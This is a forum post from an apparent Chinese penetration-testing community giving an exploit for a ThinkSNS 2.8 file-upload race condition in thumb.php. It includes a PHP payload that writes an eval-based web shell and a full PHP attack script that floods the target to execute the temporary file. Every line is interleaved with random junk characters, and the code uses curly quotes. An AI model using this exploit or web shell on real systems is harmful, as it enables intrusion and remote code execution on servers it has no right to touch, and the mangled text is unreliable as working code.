中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
D% e0 O; G9 K
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
5 a; W& ?. }8 d( N
漏洞文件
' L8 u- }/ J f/ q; E/ [2 p
存在漏洞的文件为:thumb.php
# k- d) {5 O2 m/ ?: d3 f+ \, \
作者:韦鲲鹏
: h, q) _% Q! d, A( D
1、 准备如下PHP文件并上传到服务器(自己的)。
' X& c* W" r, o' I# a' e- N
文件内容如下:
5 x7 Q& E, }% P* X. R6 B" ]
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
3 H! T( I; c H0 _
2、 计算出临时的文件名:
; H$ c- d! w. M9 R8 }
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
* I; J/ l+ y! r, b+ D9 u L
6 _ [& L5 x% n) s3 B
3、 上传临时文件。
) H/ H, n( G* u8 [ u; d% H
4、 访问临时文件。
/ }' b/ c- W, S6 p% _' F
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
- u7 E3 l7 H2 H, Q1 ?% M- x, Y
Exploit文件内容如下:(这个我就不详细解释了)
" p* z1 |; ^* J2 w0 W Y: L
<?php
* h. e5 @2 t2 y9 d: B1 B0 n# ]
error_reporting(0);
8 m) G6 k/ ]6 c+ r7 @
set_time_limit(0);
' w' G9 ?; l+ v" u& h8 |
ini_set(“default_socket_timeout”, 5);
- [* p. v1 ]" F$ Z! A8 w9 N: L* u
function http_send($host, $port, $headers) {
" C. k( a4 R/ v$ Q& O" Q
$fp = fsockopen($host, $port);
6 ]9 j8 |4 m( j0 s5 v$ c6 N) @
if (!$fp) die(‘Connection -> fail’);
8 ?& p% t1 {! A$ R/ y8 y
fputs($fp, $headers);
s& ~( y5 `, k; P+ U2 _3 e
return $fp;
; {' }7 C3 t' ~3 d$ N
}
% H3 Z. Y5 g* ?2 |! Z8 Y
function http_recv($fp) {
( r/ L6 r2 J) `# s/ s* g
$ret=”";
. Y t7 q" R8 u" g1 Z$ F, M1 V! t
while (!feof($fp))
4 k5 j: z* Z/ F2 g; r" j8 Q
$ret.= fgets($fp, 1024);
$ P2 P8 h2 E+ R4 M
fclose($fp);
. g3 D; e$ P7 l
return $ret;
$ _8 Q6 V8 J4 ^+ @5 _$ R: ]
}
0 _: q" p4 m0 N( w) g
print “\n# ThinkSns Arbitrary File Upload #\n”;
; x2 C; E8 U H& {: d* |, B
print “# Discovered by 韦鲲鹏 #\n\n”;
6 e3 \5 r7 R* ~7 W# H
if ($argc < 4) {
9 r* d6 p! X9 e( R' r! _: ?8 p% C* b
print “Usage: php <host> <path> <romote_url>\n”;
# {" A3 s2 C7 U7 {
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
5 O" Q! R# ?9 l, Z: \$ z/ w
die();
' @& C, I, s; j' M0 ]: e
}
5 v" u5 v3 S# Z5 z3 O
$host = $argv[1];
" k: G6 e" ]& g2 V; p+ h
$path = $argv[2];
' M* ^; t5 k9 O
$url = $argv[3];
0 e: l! ?& A7 J
$i=0;
9 X4 h3 J+ |1 b- W) J6 }
//上传数据包
6 n& Y5 \0 s! d; m5 A% R
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
! O, U( x8 u! [+ U G5 m/ G* w
$headers_up .= “Host: “.$host.”\r\n”;
; |( y/ f* G/ p# }. ^% M+ e8 B2 F
$headers_up .= “Connection: close\r\n\r\n”;
! B( K* S4 V# V9 k# J
echo $headers_up;
- c7 n; g' l E
//临时文件访问数据包
, O# P% }7 Y2 N7 `! H
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
3 Q; }1 O4 u- ?: f
$headers .= “Host: “.$host.”\r\n”;
* I& Y0 T$ H, e" D# g
$headers .= “Connection: close\r\n\r\n”;
7 T. T! Z- u0 ]; N3 |
echo $headers;
7 _2 n& v9 F' c1 T8 g8 X# k3 g
while(++$i<10) {
/ M1 n( X. z3 H, \
fclose(http_send($host, 80, $headers));
4 @" }7 J5 s# j# [! ~2 L* [
}
2 y) v5 A" ?+ c
fclose(http_send($host, 80, $headers_up));
) ?& p* v+ O8 H* z: w1 |
while(++$i<50) {
4 [& Q" J2 z a5 b2 w; A( Q
fclose(http_send($host, 80, $headers));
' _. |( W# U- M8 n: j: d' Z( G+ Q
}
4 f7 d: \* f4 x- r) {2 |
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
/ h2 i+ \; i- `/ }8 P6 w) u6 e
$headers .= “Host: “.$host.”\r\n”;
" a3 |6 q& [' b7 Y2 l e
$headers .= “Connection: close\r\n\r\n”;
; i+ M: K) Y. C9 v R4 r
$res=http_recv(http_send($host, 80, $headers));
/ i8 e, v& q/ P' K
if(preg_match(‘/200 OK/’,$res)) {
! Y& e4 `1 B) ]5 S P1 V$ d( t
print “Success!\n\n”;
7 y6 V1 Z X" G6 \: V( n
} else {
$ I. k3 A7 s$ i8 z1 S$ y% S
print “Fail!\n\n”;
$ _/ J( C5 z; Y& ~7 N
}
7 l% n$ T, @8 }# Q
?>
* f0 Q8 f4 N _7 Z
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2